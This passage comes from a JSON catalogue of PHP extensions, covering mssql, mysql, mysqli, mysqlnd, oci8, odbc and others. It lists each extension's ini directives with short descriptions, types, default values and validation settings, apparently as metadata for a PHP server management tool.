                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.min_message_severity": {
                "shortDescription": "Minimal message severity to display",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.secure_connection": {
                "shortDescription": "Use NT authentication when connecting to the server",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.batchsize": {
                "shortDescription": "Limits the number of records in each batch",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.connect_timeout": {
                "shortDescription": "Connect timeout",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.datetimeconvert": {
                "shortDescription": "Specify how datetime and datetim4 columns are returned",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.charset": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.max_procs": {
                "shortDescription": "Specify max number of processes",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.textlimit": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.timeout": {
                "shortDescription": "Query timeout",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.textsize": {
                "shortDescription": "Maximum returnable length of a TEXT column",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mysql": {
        "name": "mysql",
        "extensionId": "mysql",
        "isDaemon": 0,
        "shortDescription": "MySQL DB Servers Access",
        "longDescription": "Allows you to access MySQL database servers.\nNote:\nMySQL libraries must be installed in order for this extension to function.",
        "iniFileName": "mysql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mysql.allow_persistent": {
                "shortDescription": "Whether to allow persistent connections to MySQL",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.max_persistent": {
                "shortDescription": "Maximum number of persistent MySQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.max_links": {
                "shortDescription": "The maximum number of MySQL connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.default_port": {
                "shortDescription": "MySQL default port",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.default_socket": {
                "shortDescription": "MySQL default socket",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.default_host": {
                "shortDescription": "MySQL default host",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.default_user": {
                "shortDescription": "MySQL default user",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.default_password": {
                "shortDescription": "MySQL default password",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.connect_timeout": {
                "shortDescription": "Connect timeout in seconds",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.trace_mode": {
                "shortDescription": "Trace mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.allow_local_infile": {
                "shortDescription": "\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysql.cache_size": {
                "shortDescription": "If mysqlnd is used: Number of cache slots for the internal result set cache",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mysqli": {
        "name": "mysqli",
        "extensionId": "mysqli",
        "isDaemon": 0,
        "shortDescription": "MySQL Improved",
        "longDescription": "Allows you to access the functionality provided by MySQL 4.1 and above.\nNote:\nMySQL libraries must be installed in order for this extension to function.",
        "iniFileName": "mysqli.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mysqli.max_links": {
                "shortDescription": "The maximum number of MySQL connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.default_port": {
                "shortDescription": "Default TCP port number to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.default_socket": {
                "shortDescription": "The default socket name to use when connecting to a local database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.default_host": {
                "shortDescription": "The default server host to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.default_user": {
                "shortDescription": "The default user name to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.default_pw": {
                "shortDescription": "The default password to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.reconnect": {
                "shortDescription": "Enable\/disable automatic reconnection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.allow_local_infile": {
                "shortDescription": "\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.allow_persistent": {
                "shortDescription": "\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.max_persistent": {
                "shortDescription": "The maximum number of persistent MySQL connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.cache_size": {
                "shortDescription": "If mysqlnd is used: Number of cache slots for the internal result set cache",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqli.rollback_on_cached_plink": {
                "shortDescription": "Rolling back connections put back into the pconn pool",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mysqlnd": {
        "name": "mysqlnd",
        "extensionId": "mysqlnd",
        "isDaemon": 0,
        "shortDescription": "MySQL Native Driver",
        "longDescription": "This extension provides a PHP-native underlying infrastructure for all MySQL extensions.",
        "iniFileName": "mysqlnd.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mysqlnd.collect_memory_statistics": {
                "shortDescription": "Enable \/ Disable collection of memory usage statstics by mysqlnd",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.collect_statistics": {
                "shortDescription": "Enable \/ Disable collection of general statstics by mysqlnd",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.trace_alloc": {
                "shortDescription": "\n\t\t\t\t",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug": {
                "shortDescription": "\n\t\t\t\t",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.sha256_server_public_key": {
                "shortDescription": "SHA-256 Authentication Plugin related. File with the MySQL server public RSA key",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.log_mask": {
                "shortDescription": "\n\t\t\t\t",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.net_cmd_buffer_size": {
                "shortDescription": "Size of a pre-allocated buffer used when sending commands to MySQL in bytes",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2048"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.net_read_buffer_size": {
                "shortDescription": "Size of a pre-allocated buffer used for reading data sent by the server in bytes",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "32768"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.net_read_timeout": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "31536000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_calloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_ecalloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_emalloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_erealloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_malloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.debug_realloc_fail_threshold": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.mempool_default_size": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "16000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mysqlnd.fetch_data_copy": {
                "shortDescription": "New result fetching mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ncurses": {
        "name": "ncurses",
        "extensionId": "ncurses",
        "isDaemon": 0,
        "shortDescription": "ncurses Terminal Screen Control",
        "longDescription": "",
        "iniFileName": "ncurses.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "oci8": {
        "name": "oci8",
        "extensionId": "oci8",
        "isDaemon": 0,
        "shortDescription": "Oracle Call Interface",
        "longDescription": "Supports binding of PHP variables to Oracle placeholders, has full LOB, FILE and ROWID support, and allows you to use user-supplied define variables. Allows access to Oracle7, 8 and 9 databases.\nNote: This can only be enabled if the Oracle Instant Client is installed.\nSee http:\/\/www.php.net\/manual\/en\/function.oci-connect.php for information on using the oci_connect function to connect to your Oracle database.\nSee http:\/\/www.oracle.com\/webfolder\/technetwork\/tutorials\/obe\/db\/oow10\/php_db\/php_db.htm for more on the OIC Libraries and Oracle Extensions.",
        "iniFileName": "oci8.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "oci8.connection_class": {
                "shortDescription": "This user defined text is used by Oracle 11g Database Resident Connection Pooling (DRCP) connections to sub-partition the connection pool",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.events": {
                "shortDescription": "Allows PHP to be notified of database Fast Application Notification (FAN) events.\n\t\t\tThe database must be configured to post FAN events.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.default_prefetch": {
                "shortDescription": "This option enables statement prefetching and sets the default number of rows that will be fetched automatically after statement execution",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.max_persistent": {
                "shortDescription": "The maximum number of persistent OCI8 connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.old_oci_close_semantics": {
                "shortDescription": "This option controls oci_close() behavior",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.persistent_timeout": {
                "shortDescription": "The maximum length of time that a given process is allowed to maintain an idle persistent connection",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.ping_interval": {
                "shortDescription": "The length of time that must pass before issuing a ping during oci_pconnect()",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.privileged_connect": {
                "shortDescription": "This option enables privileged connections using external credentials",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "oci8.statement_cache_size": {
                "shortDescription": "This option enables statement caching, and specifies how many statements to cache",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "oci8_old": {
        "name": "oci8_old",
        "extensionId": "oci8_old",
        "isDaemon": 0,
        "shortDescription": "Oracle (old version)",
        "longDescription": "",
        "iniFileName": "oci8_old.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "odbc": {
        "name": "odbc",
        "extensionId": "odbc",
        "isDaemon": 0,
        "shortDescription": "Unified ODBC Functions",
        "longDescription": "In addition to normal ODBC support, the Unified ODBC functions in PHP allow you to access several databases that have borrowed the semantics of the ODBC API to implement their own API.",
        "iniFileName": "odbc.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "odbc.allow_persistent": {
